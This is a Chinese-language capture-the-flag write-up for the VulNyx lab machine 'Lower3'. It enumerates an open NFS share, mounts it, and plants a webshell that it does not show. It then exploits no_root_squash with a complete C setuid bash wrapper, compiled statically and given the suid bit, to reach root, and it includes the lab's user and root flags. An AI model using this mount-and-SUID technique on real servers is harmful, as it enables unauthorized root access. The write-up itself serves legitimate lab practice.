vulnyx lower3 writeup
信息收集
arp-scan
nmap
获取userFlag
web上还是什么都没有,这里可以看到开放了一个2049,对应的服务是nfs(网络文件系统),我们可以通过showmount看一下可以挂载哪些目录
通过mount将它挂载到我们本地
mount -t nfs 192.168.43.44:/var/www/html /mnt
成功挂载过来了,试试能不能写入
能写入,那下一步的思路就是写一个webshell,然后访问,反弹一个shell回来。
成功访问到了,然后就反弹shell和稳定shell
然后去low的家目录下就可以拿到userflag了
userflag:eed0bec06e4dc67b60d8bd762a843d75
获取rootFlag
我们去/var/www/html里ls看一下
可以看到刚才我们写入的两个文件在服务器上都是root权限的,查看nfs服务的配置文件/etc/exports:
可以看到它启用了no_root_squash选项,这个选项的作用如下:
1. 默认设置(未启用no_root_squash)
当客户端以root用户访问NFS共享时,服务器会将客户端的权限降级为匿名用户的权限(通常是
nobody
或nfsnobody
)。
2. 启用no_root_squash后
当客户端以root用户访问NFS共享时,保持root权限,同时若能够写入,写入的文件的权限也将是root的
因此这里我们可以通过c写一段执行bash的代码,然后给它suid权限,这样我们执行该脚本就可以获得一个root shell了 ,c代码如下(这里的代码不会的话直接让AI写就行):
#include <unistd.h>
#include <stdio.h>
int main() {
char *args[] = {"/bin/bash", "-p", NULL}; // 参数列表(必须以NULL结尾)
// 使用execve执行/bin/bash
if (execve("/bin/bash", args, NULL) == -1) {
perror("execve failed");
return 1;
}
// 如果execve成功,以下代码不会执行
return 0;
}
这里需要加上-p选项跳过检查,否则执行后bash会检查euid和uid是否相同,不相同的话会降级到uid对应的权限,而不会使用euid的权限。
然后为了避免由于gcc版本不兼容导致的执行失败,我们这里采用静态编译的方式:
gcc -static shell.c -o /mnt/shell
然后通过 chmod u+s shell 的方式给它赋予suid权限
然后执行即可拿到root shell
然后去/root下就可以拿到rootFlag了
rootflag:da0a4e93754fe6808c69909fe8c36a54